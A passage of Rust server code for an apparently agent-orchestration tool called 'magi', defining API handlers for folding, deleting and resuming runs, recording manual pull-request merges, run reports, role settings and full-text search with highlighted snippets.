3466                            "run {id} is being worked on by a live daemon right now"
3467                        )));
3468                    }
3469                    Ok((id, true))
3470                }
3471            }
3472        })
3473        .await?
3474    };
3475    if unreadable {
3476        crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
3477            .await
3478            .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3479    }
3480    let ui = Arc::clone(&ui);
3481    let done = id.clone();
3482    blocking(move || {
3483        // The agent that asked died with the run, so an open question would
3484        // keep asking the operator for a decision nobody can deliver.
3485        ui.questions.abandon_for_run(
3486            &done,
3487            &format!("run {done} was deleted, so nothing is waiting for this answer"),
3488        )?;
3489        Ok(())
3490    })
3491    .await?;
3492    Ok(StatusCode::NO_CONTENT)
3493}
3494
3495/// `POST /api/runs/{id}/fold`.
3496///
3497/// Remove a run's candidate worktrees and branches, keeping its record.
3498///
3499/// This exists because the deck answered "delete this run" with *"Candidates
3500/// must be folded before deleting. Run `magi fold` first."* — a phone being
3501/// told to open a terminal, in the one product whose point is that it does
3502/// not need one. The runs an operator most wants gone are the stalled and
3503/// blocked ones, and those are exactly the runs still holding worktrees:
3504/// three of them here held 53 GB.
3505///
3506/// The winner's tree goes too. A fold is what someone asks for when they are
3507/// finished with a run, and leaving one tree behind would leave the delete
3508/// button disabled for the same reason as before.
3509///
3510/// Refused while a live daemon is working on the run, on the rule that guards
3511/// deletion: folding underneath a running agent would pull the tree it is
3512/// editing out from under it.
3513///
3514/// A run whose state this build cannot read at all falls back to
3515/// [`crate::clean::fold_unreadable`] - there is no candidate list to fold
3516/// selectively, so the whole record's worktree goes wholesale, exactly what
3517/// `magi fold` does on the command line for the same run.
3518async fn run_fold(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<FoldView>> {
3519    let (id, state) = {
3520        let ui = Arc::clone(&ui);
3521        blocking(move || {
3522            let id = resolve_run(&ui.runs, &id)?;
3523            if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
3524                return Err(ApiError::conflict(format!(
3525                    "run {id} is being worked on by a live daemon right now"
3526                )));
3527            }
3528            let state = read_run(&ui.runs, &id).ok();
3529            Ok((id, state))
3530        })
3531        .await?
3532    };
3533    let removed = match state {
3534        Some(mut state) => {
3535            let removed = crate::graph::fold_run(&mut state, true, &ui.home)
3536                .await
3537                .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3538            // Nothing left to remove is not the same thing as nothing left to
3539            // do — see `clean::clear_abandoned_active`'s own doc for the run
3540            // this exists for: worktrees already gone, but a killed process
3541            // left active seats nobody will ever answer for.
3542            if removed.is_empty() {
3543                crate::clean::clear_abandoned_active(&mut state, &ui.home, jiff::Timestamp::now())
3544                    .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3545            }
3546            removed
3547        }
3548        None => crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
3549            .await
3550            .map_err(|e| ApiError::internal(format!("{e:#}")))?,
3551    };
3552    Ok(Json(FoldView {
3553        run: id,
3554        removed_count: removed.len(),
3555        removed,
3556    }))
3557}
3558
3559/// What a fold took away, so the deck can say so rather than only re-render.
3560#[derive(Debug, Serialize)]
3561struct FoldView {
3562    run: String,
3563    /// Worktree paths and branch names removed, in the order they went.
3564    removed: Vec<String>,
3565    removed_count: usize,
3566}
3567
3568/// `POST /api/runs/{id}/fold-merged` body: the pull request the operator
3569/// merged outside of `land::land`'s own loop.
3570#[derive(Debug, Deserialize)]
3571struct FoldMergedBody {
3572    #[serde(default)]
3573    pr_url: String,
3574}
3575
3576/// `POST /api/runs/{id}/fold-merged`.
3577///
3578/// The phone-reachable form of `magi fold --merged <pr-url>`: a run stuck
3579/// `Blocked` with `merge: null` because magi never got as far as opening a
3580/// pull request of its own (a title over GitHub's length limit, `gh pr
3581/// create` unreachable, a stale token), which the operator then finished by
3582/// hand on a pull request magi never recorded. The "Run actions" sheet used
3583/// to have no way to tell it about that pull request short of a terminal and
3584/// `magi fold --merged` — see `land::correct_manual_merge`'s own doc for why
3585/// this exists and what it deliberately does not do (`bump::after_merge`).
3586///
3587/// Refused, like [`run_fold`], while a live daemon is working on the run: the
3588/// correction rewrites the same `status`/`merge` fields a running graph would
3589/// be writing to on its own.
3590///
3591/// Unlike [`run_resume`] this does not return 202: it makes at most two `gh`
3592/// calls plus a fold, seconds of work, and the phone should get its answer
3593/// (which pull request it recorded, and what changed) in the same round
3594/// trip rather than learning it from the change stream.
3595async fn run_fold_merged(
3596    State(ui): State<Arc<Ui>>,
3597    Path(id): Path<String>,
3598    Json(body): Json<FoldMergedBody>,
3599) -> ApiResult<Json<FoldMergedView>> {
3600    let pr_url = body.pr_url.trim().to_owned();
3601    if pr_url.is_empty() {
3602        return Err(ApiError::bad_request("pr_url is required"));
3603    }
3604    let (id, mut state) = {
3605        let ui = Arc::clone(&ui);
3606        blocking(move || {
3607            let id = resolve_run(&ui.runs, &id)?;
3608            if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
3609                return Err(ApiError::conflict(format!(
3610                    "run {id} is being worked on by a live daemon right now"
3611                )));
3612            }
3613            let state = read_run(&ui.runs, &id)?;
3614            Ok((id, state))
3615        })
3616        .await?
3617    };
3618    let (before, after) = crate::land::correct_manual_merge(&mut state, &pr_url)
3619        .await
3620        .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
3621    let removed = crate::graph::fold_run(&mut state, true, &ui.home)
3622        .await
3623        .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3624    Ok(Json(FoldMergedView {
3625        run: id,
3626        before: before.as_str().to_owned(),
3627        after: after.as_str().to_owned(),
3628        removed,
3629    }))
3630}
3631
3632/// What [`run_fold_merged`] did, so the deck can say so.
3633#[derive(Debug, Serialize)]
3634struct FoldMergedView {
3635    run: String,
3636    /// `status` before the correction — normally `"blocked"`.
3637    before: String,
3638    /// `status` after — normally `"merged"`.
3639    after: String,
3640    /// Worktree paths and branch names the trailing fold removed.
3641    removed: Vec<String>,
3642}
3643
3644/// `POST /api/runs/{id}/resume`.
3645///
3646/// Carry a stalled run on from where it stopped, in the background.
3647///
3648/// A stalled card says "the work is kept" and used to offer no way to act on
3649/// that: the candidates are built and paid for, and continuing means re-asking
3650/// only the seats whose absence collapsed the panel. The alternative an
3651/// operator actually had was releasing the task, which competes three fresh
3652/// implementations against work that already exists.
3653///
3654/// **202, not 200.** A resume runs agents for minutes; holding the connection
3655/// is the mistake `POST /api/talks/{id}/say` already made and had fixed. The
3656/// phone learns the outcome from the change stream.
3657///
3658/// Refused when the loop is running at all, not merely when it is on this run.
3659/// The scarce resource is the agent CLIs' quota, and a tap that quietly
3660/// started a second graph on top of whatever the loop is already driving —
3661/// one run by default, or as many as `Config::daemon.max_concurrent_runs`
3662/// allows — would spend that quota twice over for no extra throughput.
3663async fn run_resume(
3664    State(ui): State<Arc<Ui>>,
3665    Path(id): Path<String>,
3666) -> ApiResult<(StatusCode, Json<RunSummary>)> {
3667    let (id, state) = {
3668        let ui = Arc::clone(&ui);
3669        blocking(move || {
3670            let id = resolve_run(&ui.runs, &id)?;
3671            let state = read_run(&ui.runs, &id)?;
3672            Ok((id, state))
3673        })
3674        .await?
3675    };
3676    if let Some(to) = state
3677        .pr_taken_over_by
3678        .as_ref()
3679        .or(state.released_to.as_ref())
3680    {
3681        return Err(ApiError::conflict(format!(
3682            "run {} can no longer be resumed: its pull request or worktree ownership moved to run {}.",
3683            state.short(),
3684            crate::run::short_of(to)
3685        )));
3686    }
3687    if !state.status.resumable() {
3688        return Err(ApiError::conflict(format!(
3689            "run {} is `{}`, and only a stalled or blocked run can be resumed",
3690            state.short(),
3691            status_word(state.status)
3692        )));
3693    }
3694    // Refused whenever the loop is running anything at all, not merely when
3695    // it is on this run: a manual resume racing a loop-driven run over the
3696    // same agent quota is the thing this guard exists to prevent, whether
3697    // the loop's own concurrency is one run or several.
3698    if let Some(work) = crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
3699        .into_iter()
3700        .next()
3701    {
3702        return Err(ApiError::conflict(format!(
3703            "the loop is running run {} right now; stop it first, or wait for \
3704             it to finish, before resuming a run by hand.",
3705            crate::run::short_of(&work.run)
3706        )));
3707    }
3708    let _resume = ui.begin_resume(&id)?;
3709
3710    // The same shape the list route returns, so the phone updates the card it
3711    // already has rather than learning a second schema for one button.
3712    let queued = RunSummary::of(
3713        &state,
3714        !ui.questions.open_for(&id).is_empty(),
3715        state.liveness(false),
3716    );
3717    let run = id.clone();
3718    tokio::spawn(async move {
3719        let _resume = _resume;
3720        match crate::graph::Runner::resume(&run) {
3721            Ok(mut runner) => {
3722                if let Err(e) = runner.execute().await {
3723                    tracing::warn!("resume of run {run} stopped: {e:#}");
3724                }
3725            }
3726            // The run's own record is what the phone reads; this line is for
3727            // the operator's terminal.
3728            Err(e) => tracing::warn!("run {run} could not be resumed: {e:#}"),
3729        }
3730    });
3731    Ok((StatusCode::ACCEPTED, Json(queued)))
3732}
3733
3734async fn run_report(
3735    State(ui): State<Arc<Ui>>,
3736    Path(id): Path<String>,
3737) -> ApiResult<impl IntoResponse> {
3738    let text = blocking(move || {
3739        let id = resolve_run(&ui.runs, &id)?;
3740        // Colour is off for the whole process, set once in `serve`. Rendering
3741        // is CPU work over the full state, which is the other reason this is
3742        // not on the executor.
3743        let state = read_run(&ui.runs, &id)?;
3744        let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
3745        let live = state.liveness(daemon_claims);
3746        Ok(format!(
3747            "{}{}",
3748            report::run(&state),
3749            report::active_seats(&state, live)
3750        ))
3751    })
3752    .await?;
3753    Ok(([(header::CONTENT_TYPE, "text/plain; charset=utf-8")], text))
3754}
3755
3756/// The structured twin of [`run_report`]: the same state, as sections the UI
3757/// draws as cards. An unreadable run answers with the same error the text
3758/// route does; it is never turned into an empty report.
3759async fn run_report_json(
3760    State(ui): State<Arc<Ui>>,
3761    Path(id): Path<String>,
3762) -> ApiResult<Json<crate::report_view::RunReportView>> {
3763    let view = blocking(move || {
3764        let id = resolve_run(&ui.runs, &id)?;
3765        let state = read_run(&ui.runs, &id)?;
3766        let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
3767        Ok(crate::report_view::build(
3768            &state,
3769            state.liveness(daemon_claims),
3770        ))
3771    })
3772    .await?;
3773    Ok(Json(view))
3774}
3775
3776/// A task as the UI sees it.
3777///
3778/// The whole task, plus the two things the client would otherwise have to
3779/// reimplement: the human-readable source and the status string. Nothing is
3780/// removed - the phone shows `last_error` and the run history verbatim.
3781#[derive(Debug, Serialize)]
3782struct TaskView {
3783    #[serde(flatten)]
3784    task: Task,
3785    source_label: String,
3786    source_link: Option<SourceLink>,
3787    status_str: &'static str,
3788    /// The instruction, parsed as markdown, for the Queue card's "Full
3789    /// instruction" panel. `task.instruction` is unchanged and still carries
3790    /// the raw text.
3791    instruction_md: Vec<md::Node>,
3792    /// For a blocked task, what it waits on with each dependency's state, e.g.
3793    /// `4135 (blocked → 9db7 held)`. Built server-side so the client never
3794    /// recurses; empty for every other status.
3795    waits_on: Vec<String>,
3796    /// Short ids of the held (or cyclic) tasks a blocked task is frozen
3797    /// behind - non-empty means nothing in the loop will ever run it.
3798    stuck_roots: Vec<String>,
3799}
3800
3801impl From<Task> for TaskView {
3802    fn from(task: Task) -> Self {
3803        Self {
3804            source_label: task.source.label(),
3805            source_link: source_link(&task.source),
3806            status_str: task.status.as_str(),
3807            instruction_md: md::to_nodes(&task.instruction, &md::ImageBase::None),
3808            waits_on: Vec::new(),
3809            stuck_roots: Vec::new(),
3810            task,
3811        }
3812    }
3813}
3814
3815impl TaskView {
3816    fn with_inventory(task: Task, inv: &crate::blockers::Inventory) -> Self {
3817        let waits_on = inv.waits_on(&task);
3818        let stuck_roots = inv
3819            .stuck_roots(&task)
3820            .iter()
3821            .map(|r| r.rsplit('-').next().unwrap_or(r).to_owned())
3822            .collect();
3823        Self {
3824            waits_on,
3825            stuck_roots,
3826            ..Self::from(task)
3827        }
3828    }
3829}
3830
3831/// `?refresh=1` forces a re-scan even inside the TTL. Any other value, or
3832/// its absence, leaves the cache to decide.
3833#[derive(Debug, Default, Deserialize)]
3834#[serde(default)]
3835struct ReposQuery {
3836    refresh: u8,
3837}
3838
3839/// `GET /api/repos` - local checkouts found under `[repos] roots`, the same
3840/// listing `magi repos` prints at a terminal.
3841///
3842/// Reads `[repos] roots` and `[repos] scan_ttl` discovered against `ui.repo`
3843/// so an edit to `magi.toml` takes effect without a restart, the same
3844/// reasoning [`config_for`] documents for the talk routes.
3845async fn repos_list(
3846    State(ui): State<Arc<Ui>>,
3847    Query(q): Query<ReposQuery>,
3848) -> ApiResult<Json<Vec<repos::Repo>>> {
3849    let refresh = q.refresh != 0;
3850    blocking(move || {
3851        let (cfg, _) = Config::discover(&ui.repo, None)?;
3852        Ok(Json(ui.repos_cache.list(
3853            &cfg.repos.roots,
3854            Duration::from_secs(cfg.repos.scan_ttl),
3855            refresh,
3856        )))
3857    })
3858    .await
3859}
3860
3861/// Optional context, restricted to the server's known checkouts.
3862#[derive(Debug, Default, Deserialize)]
3863struct SettingsQuery {
3864    repo: Option<PathBuf>,
3865}
3866
3867/// Always discover against the server's original context, never the selection.
3868/// If that config is broken, retain the default context and machine-only roots
3869/// so the settings error contract and recovery picker remain available.
3870fn settings_repositories(ui: &Ui, refresh: bool) -> Vec<repos::Repo> {
3871    let cfg = settings::repository_config(&ui.repo, ui.machine_config.as_deref()).or_else(|_| {
3872        let paths: Vec<PathBuf> = ui
3873            .machine_config
3874            .iter()
3875            .filter(|p| p.is_file())
3876            .cloned()
3877            .collect();
3878        if paths.is_empty() {
3879            Ok(Config::autodetected())
3880        } else {
3881            Config::load_layers(&paths)
3882        }
3883    });
3884    let mut known = cfg
3885        .map(|cfg| {
3886            ui.repos_cache.list(
3887                &cfg.repos.roots,
3888                Duration::from_secs(cfg.repos.scan_ttl),
3889                refresh,
3890            )
3891        })
3892        .unwrap_or_default();
3893    let path = ui.repo.canonicalize().unwrap_or_else(|_| ui.repo.clone());
3894    if !known.iter().any(|r| r.path == path) {
3895        known.push(repos::Repo {
3896            name: path
3897                .file_name()
3898                .unwrap_or_default()
3899                .to_string_lossy()
3900                .into_owned(),
3901            path,
3902        });
3903    }
3904    known
3905}
3906
3907fn settings_context(ui: &Ui, q: SettingsQuery) -> ApiResult<(PathBuf, Vec<repos::Repo>)> {
3908    let requested = q.repo.unwrap_or_else(|| ui.repo.clone());
3909    let canonical = requested.canonicalize().ok();
3910    let mut known = settings_repositories(ui, false);
3911    let matches = |r: &repos::Repo| canonical.as_ref().is_some_and(|p| p == &r.path);
3912    if !known.iter().any(matches) {
3913        known = settings_repositories(ui, true);
3914    }
3915    let repo = known
3916        .iter()
3917        .find(|r| matches(r))
3918        .map(|r| r.path.clone())
3919        .ok_or_else(|| ApiError {
3920            status: StatusCode::UNPROCESSABLE_ENTITY,
3921            message: "Choose a known repository from the Settings selector.".to_owned(),
3922        })?;
3923    Ok((repo, known))
3924}
3925
3926/// `GET /api/settings` - the effective role assignments and roster, with the
3927/// layer each came from. A config that fails to load answers 200 with an
3928/// `error`, so the screen can say so instead of drawing empty lists.
3929async fn settings_get(
3930    State(ui): State<Arc<Ui>>,
3931    Query(q): Query<SettingsQuery>,
3932) -> ApiResult<Json<settings::SettingsView>> {
3933    blocking(move || {
3934        let (repo, known) = settings_context(&ui, q)?;
3935        Ok(Json(settings::view_with_repos(
3936            &repo,
3937            ui.machine_config.as_deref(),
3938            &known,
3939        )))
3940    })
3941    .await
3942}
3943
3944/// The body of `PUT /api/settings/roles`.
3945#[derive(Debug, Deserialize)]
3946#[serde(deny_unknown_fields)]
3947struct RolesBody {
3948    /// The `revision` the client last read.
3949    revision: String,
3950    /// Role key to its new ids; an empty list resets the key to its default.
3951    #[serde(default)]
3952    roles: std::collections::BTreeMap<String, Vec<String>>,
3953    /// Role key (`implementers`, `judges`, `reviewers`, `advisors`) to its new
3954    /// `[graph]` seat count. Kept as raw JSON so a non-integer is refused in
3955    /// words (422) instead of as a deserialization error.
3956    #[serde(default)]
3957    counts: std::collections::BTreeMap<String, serde_json::Value>,
3958}
3959
3960/// `PUT /api/settings/roles` - save role assignments to the machine config.
3961///
3962/// The write target is `ui.machine_config` and nothing in the body can change
3963/// it. A stale `revision` is a 409; anything the re-loaded config rejects is a
3964/// 422 with the reason in words.
3965async fn settings_put_roles(
3966    State(ui): State<Arc<Ui>>,
3967    Query(q): Query<SettingsQuery>,
3968    body: std::result::Result<Json<RolesBody>, JsonRejection>,
3969) -> ApiResult<Json<settings::SettingsView>> {
3970    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3971    blocking(move || {
3972        let (repo, known) = settings_context(&ui, q)?;
3973        settings::save_with_repos(
3974            &repo,
3975            ui.machine_config.as_deref(),
3976            &body.revision,
3977            &body.roles,
3978            &body.counts,
3979            &known,
3980        )
3981        .map(Json)
3982        .map_err(|e| match e {
3983            settings::SaveError::Conflict(m) => ApiError::conflict(m),
3984            settings::SaveError::Refused(m) => ApiError {
3985                status: StatusCode::UNPROCESSABLE_ENTITY,
3986                message: m,
3987            },
3988            settings::SaveError::Internal(m) => ApiError::internal(m),
3989        })
3990    })
3991    .await
3992}
3993
3994async fn queue_list(
3995    State(ui): State<Arc<Ui>>,
3996    Query(q): Query<ListQuery>,
3997) -> ApiResult<Json<Vec<TaskView>>> {
3998    blocking(move || {
3999        let tasks = ui.queue.list();
4000        let inv = crate::blockers::Inventory::new(tasks.clone(), &ui.questions.list());
4001        Ok(Json(
4002            tasks
4003                .into_iter()
4004                .filter(|t| q.contains(&t.id) || t.status == crate::queue::TaskStatus::Blocked)
4005                .map(|t| TaskView::with_inventory(t, &inv))
4006                .collect(),
4007        ))
4008    })
4009    .await
4010}
4011
4012/// Most hits one search returns. The rest are counted in `total`.
4013const SEARCH_MAX_HITS: usize = 100;
4014/// Longest query, in characters, and most terms it is split into.
4015const SEARCH_MAX_QUERY: usize = 200;
4016const SEARCH_MAX_TERMS: usize = 8;
4017/// Characters of context kept before the first hit, and after it.
4018const SNIPPET_BEFORE: usize = 50;
4019const SNIPPET_AFTER: usize = 110;
4020
4021/// `?scope=runs|tasks&q=...`
4022#[derive(Debug, Deserialize)]
4023struct SearchQuery {
4024    #[serde(default)]
4025    scope: String,
4026    #[serde(default)]
4027    q: String,
4028}
4029
4030/// One piece of a snippet. `hit` pieces are what matched; the client renders
4031/// them as `<mark>` through DOM text nodes, so no markup is ever built here.
4032#[derive(Debug, Serialize, PartialEq, Eq)]
4033struct SnippetPart {
4034    text: String,
4035    hit: bool,
4036}
4037
4038#[derive(Debug, Serialize)]
4039struct SearchHit {
4040    id: String,
4041    /// The name of the field the snippet was cut from.
4042    field: String,
4043    snippet: Vec<SnippetPart>,
4044    /// The run's list row, so the page can apply its state / section / repo
4045    /// filters to a hit outside the loaded window. Absent for tasks and for a
4046    /// run record the list view cannot read.
4047    #[serde(skip_serializing_if = "Option::is_none")]
4048    run: Option<RunSummary>,
4049}
4050
4051#[derive(Debug, Serialize)]
4052struct SearchView {
4053    scope: String,
4054    q: String,
4055    /// At most [`SEARCH_MAX_HITS`], newest runs / queue order first.
4056    hits: Vec<SearchHit>,
4057    /// Every match, hits beyond the cap included.
4058    total: usize,
4059    truncated: bool,
4060    /// Runs whose `run.json` could not be parsed at all. They were not
4061    /// searched; the same meaning as `runs_unreadable` in `/api/health`.
4062    unreadable: usize,
4063}
4064
4065/// The text leaves of a JSON document, with the name of the field each sits
4066/// under. Keys and numbers are skipped: they are structure, not prose.
4067fn text_leaves<'a>(
4068    value: &'a serde_json::Value,
4069    field: &'a str,
4070    out: &mut Vec<(&'a str, &'a str)>,
4071) {
4072    match value {
4073        serde_json::Value::String(s) => out.push((field, s)),
4074        serde_json::Value::Array(items) => items.iter().for_each(|v| text_leaves(v, field, out)),
4075        serde_json::Value::Object(map) => map.iter().for_each(|(k, v)| text_leaves(v, k, out)),
4076        _ => {}
4077    }
4078}
4079
4080/// Lower-case one character without changing how many there are, so indices
4081/// in the lowered text are indices in the original.
4082fn fold_char(c: char) -> char {
4083    c.to_lowercase().next().unwrap_or(c)
4084}
4085
4086/// Split a query into its lower-cased terms.
4087fn search_terms(q: &str) -> Vec<String> {
4088    let mut terms: Vec<String> = Vec::new();
4089    for t in q.split_whitespace() {
4090        let t = t.to_lowercase();
4091        if !terms.contains(&t) {
4092            terms.push(t);
4093        }
4094    }
4095    terms
4096}
4097
4098/// Match `terms` (all of them, anywhere in the document) against the leaves
4099/// and cut a snippet around the first hit. `None` when a term is missing.
4100fn search_document(terms: &[String], leaves: &[(&str, &str)]) -> Option<SearchHit> {
4101    let lowered: Vec<String> = leaves.iter().map(|(_, s)| s.to_lowercase()).collect();
4102    let mut first: Option<usize> = None;
4103    for term in terms {
4104        let at = lowered.iter().position(|l| l.contains(term.as_str()))?;
4105        first = Some(first.map_or(at, |f| f.min(at)));
4106    }
4107    // The leaf holding the earliest hit of any term is where the snippet is cut.
4108    let (field, text) = leaves[first?];
4109    Some(SearchHit {
4110        id: String::new(),
4111        field: field.to_owned(),
4112        snippet: snippet_of(text, terms),
4113        run: None,
4114    })
4115}
4116
4117/// A window of `text` around the first occurrence of any term, whitespace
4118/// collapsed, with every term occurrence inside the window marked.
4119fn snippet_of(text: &str, terms: &[String]) -> Vec<SnippetPart> {
4120    let chars: Vec<char> = text.chars().collect();
4121    let folded: Vec<char> = chars.iter().map(|c| fold_char(*c)).collect();
4122    let needles: Vec<Vec<char>> = terms
4123        .iter()
4124        .map(|t| t.chars().map(fold_char).collect())
4125        .collect();
4126    let find = |from: usize, to: usize| -> Option<(usize, usize)> {
4127        let mut best: Option<(usize, usize)> = None;
4128        for n in needles.iter().filter(|n| !n.is_empty()) {
4129            // `to` bounds where a match may start; it may run past `to` (the
4130            // caller clips what it shows). A term longer than the field cannot
4131            // occur in it (it may live in another leaf of the document).
4132            if n.len() > chars.len() || to == 0 {
4133                continue;
4134            }
4135            let last = (to - 1).min(chars.len() - n.len());
4136            if from > last {
4137                continue;
4138            }
4139            if let Some(i) = (from..=last).find(|&i| folded[i..i + n.len()] == n[..])
4140                && best.is_none_or(|(b, _)| i < b)
4141            {
4142                best = Some((i, i + n.len()));
4143            }
4144        }
4145        best
4146    };
4147    let Some((start, _)) = find(0, chars.len()) else {
4148        // Matched only through a case mapping that changes length: show the head.
4149        let head: String = chars.iter().take(SNIPPET_AFTER).collect();
4150        return vec![SnippetPart {
4151            text: head.split_whitespace().collect::<Vec<_>>().join(" "),
4152            hit: false,
4153        }];
4154    };
4155    let lo = start.saturating_sub(SNIPPET_BEFORE);
4156    let hi = (start + SNIPPET_AFTER).min(chars.len());
4157    let mut parts: Vec<SnippetPart> = Vec::new();
4158    let mut push = |s: &[char], hit: bool| {
4159        if s.is_empty() {
4160            return;
4161        }
4162        let text: String = s.iter().collect();
4163        match parts.last_mut() {
4164            Some(p) if p.hit == hit => p.text.push_str(&text),
4165            _ => parts.push(SnippetPart { text, hit }),
4166        }
4167    };
4168    if lo > 0 {
4169        push(&['\u{2026}'], false);
4170    }
4171    let mut at = lo;
4172    while at < hi {
4173        match find(at, hi) {
4174            Some((s, e)) => {
4175                push(&chars[at..s], false);
4176                // A match running past the window is shown up to its edge.
4177                let shown = e.min(hi);
4178                push(&chars[s..shown], true);
4179                at = shown;
4180            }
4181            None => {
4182                push(&chars[at..hi], false);
4183                at = hi;
4184            }
4185        }
4186    }
4187    if hi < chars.len() {
4188        push(&['\u{2026}'], false);
4189    }
4190    // Collapse whitespace (newlines in an instruction) without disturbing the
4191    // hit boundaries.
4192    let mut prev_space = false;
4193    for p in &mut parts {
4194        let mut out = String::with_capacity(p.text.len());
4195        for c in p.text.chars() {
4196            if c.is_whitespace() {
4197                if !prev_space {
4198                    out.push(' ');
4199                }
4200                prev_space = true;
4201            } else {
4202                out.push(c);
4203                prev_space = false;
4204            }
4205        }
4206        p.text = out;
4207    }
4208    parts.retain(|p| !p.text.is_empty());
4209    parts
4210}
4211
4212/// The search over `docs` (id, document), newest first, capped.
4213fn search_docs<I>(terms: &[String], docs: I, view: &mut SearchView)
4214where
4215    I: IntoIterator<Item = (String, serde_json::Value)>,
4216{
4217    for (id, doc) in docs {
4218        let mut leaves = Vec::new();
4219        // The id is text an operator types too, and it is a map key on disk,
4220        // not a leaf.
4221        leaves.push(("id", id.as_str()));
4222        text_leaves(&doc, "", &mut leaves);
4223        if let Some(mut hit) = search_document(terms, &leaves) {
4224            view.total += 1;
4225            if view.hits.len() < SEARCH_MAX_HITS {
4226                hit.id = id;
4227                view.hits.push(hit);
4228            }
4229        }
4230    }
4231    view.truncated = view.total > view.hits.len();
4232}
4233
4234/// What a conversation is searched by: its list title and each turn's text,
4235/// under `operator` / `agent` so the snippet says who spoke. Nothing else
4236/// (session ids, repo paths, usage, drafts) is part of the document.
4237///
4238/// The title rule mirrors `talkOpener` / `firstLine` in `app.js`: the first
4239/// non-empty line of the first operator turn, trimmed and cut to 96 chars.
4240fn talk_search_doc(talk: &Talk) -> serde_json::Value {
4241    let opener = talk
4242        .turns
4243        .iter()
4244        .find(|t| t.who == crate::talk::Who::Operator)
4245        .and_then(|t| t.body.lines().map(str::trim).find(|l| !l.is_empty()))
4246        .unwrap_or("");
4247    let title: String = if opener.chars().count() > 96 {
4248        opener.chars().take(95).chain(['\u{2026}']).collect()
4249    } else {
4250        opener.to_owned()
4251    };
4252    let turns: Vec<serde_json::Value> = talk
4253        .turns
4254        .iter()
4255        .map(|t| {
4256            let who = match t.who {
4257                crate::talk::Who::Operator => "operator",
4258                crate::talk::Who::Agent => "agent",
4259            };
4260            serde_json::json!({ who: t.body })
4261        })
4262        .collect();
4263    serde_json::json!({ "title": title, "turns": turns })
4264}
4265
4266/// Read-only full-text search over every run's `run.json`, every task or every
4267/// conversation (title and transcript).
4268///
4269/// Documents are read as plain JSON rather than `RunState` / `Task`, so a
4270/// record from an older schema still searches; only a file that is not JSON
4271/// at all is counted in `unreadable`. `artifacts/*.out` are not searched.
4272async fn search_get(
4273    State(ui): State<Arc<Ui>>,
4274    Query(q): Query<SearchQuery>,
4275) -> ApiResult<Json<SearchView>> {
4276    let query = q.q.trim().to_owned();
4277    if query.is_empty() {
4278        return Err(ApiError::bad_request("q must not be empty"));
4279    }
4280    if query.chars().count() > SEARCH_MAX_QUERY {
4281        return Err(ApiError::bad_request(format!(
4282            "q is longer than {SEARCH_MAX_QUERY} characters"
4283        )));
4284    }
4285    let terms = search_terms(&query);
4286    if terms.len() > SEARCH_MAX_TERMS {
4287        return Err(ApiError::bad_request(format!(
4288            "q has more than {SEARCH_MAX_TERMS} terms"
4289        )));
4290    }
4291    let scope = q.scope;
4292    if scope != "runs" && scope != "tasks" && scope != "chats" {
4293        return Err(ApiError::bad_request("scope must be runs, tasks or chats"));
4294    }
4295    blocking(move || {
4296        let mut view = SearchView {
4297            scope: scope.clone(),
4298            q: query,
4299            hits: Vec::new(),
4300            total: 0,
4301            truncated: false,
4302            unreadable: 0,
4303        };
4304        if scope == "runs" {
4305            let mut unreadable = 0;
4306            // One run.json is read, matched and dropped at a time; nothing
4307            // holds the whole history. The scan runs to the end even past the
4308            // hit cap so `total` and `unreadable` stay exact.
4309            let docs = run_ids(&ui.runs).into_iter().filter_map(|id| {
4310                let body = std::fs::read_to_string(ui.runs.join(&id).join("run.json")).ok();
4311                match body.and_then(|b| serde_json::from_str(&b).ok()) {
4312                    Some(v) => Some((id, v)),
4313                    None => {
4314                        unreadable += 1;
4315                        None
4316                    }
4317                }
4318            });
4319            search_docs(&terms, docs, &mut view);
4320            view.unreadable = unreadable;
4321            // Only the capped hits get a row: the filters need a run's state,
4322            // and reading every match would be the whole history again.
4323            let (open_runs, claimed, superseded) = run_row_inputs(&ui);
4324            let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
4325            for hit in &mut view.hits {
4326                if let Ok(state) = read_run(&ui.runs, &hit.id) {
4327                    hit.run = summarize(
4328                        [state],
4329                        &open_runs,
4330                        &claimed,
4331                        &superseded,
4332                        |p| probe.borrow_mut().status(p),
4333                        |p| probe.borrow_mut().started_at(p),
4334                    )
4335                    .pop();
4336                }
4337            }
4338        } else if scope == "chats" {
4339            let (talks, unreadable) = ui.talks.list_counting_unreadable();
4340            view.unreadable = unreadable;
4341            search_docs(
4342                &terms,
4343                talks.iter().map(|t| (t.id.clone(), talk_search_doc(t))),
4344                &mut view,
4345            );
4346        } else {
4347            let docs = ui.queue.list().into_iter().filter_map(|t| {
4348                let mut v = serde_json::to_value(&t).ok()?;
4349                // `source` serialises as a tagged object; the label is what
4350                // the operator reads ("human", "chat@a1b2").
4351                if let Some(o) = v.as_object_mut() {
4352                    o.insert("filed_by".to_owned(), t.source.label().into());
4353                }
4354                Some((t.id, v))
4355            });
4356            search_docs(&terms, docs, &mut view);
4357        }
4358        Ok(Json(view))
4359    })
4360    .await
4361}
4362
4363/// One attempt in a task's history, as the task page lists it.
4364#[derive(Debug, Serialize)]
4365struct TaskRunView {
4366    /// 1-based position in [`Task::runs`].
4367    n: usize,
4368    id: String,
4369    short: String,
4370    /// `competition`, `solo`, `review`, `resume` or `unknown` (record unreadable).
4371    kind: &'static str,
4372    /// The run's own status string; `None` when its record cannot be read.
4373    status: Option<&'static str>,
4374    /// Whether this build could read the run's record. Counted, never hidden.
4375    readable: bool,
4376    /// A verdict from a collapsed panel is provisional, never a decision.
4377    provisional: bool,
4378    /// What kind of attempt this was, in one line.
4379    description: String,
4380    /// How it ended and why the task moved on (or what it is doing now).
4381    outcome: String,
4382    created_at: Option<Timestamp>,
4383    pr: Option<String>,
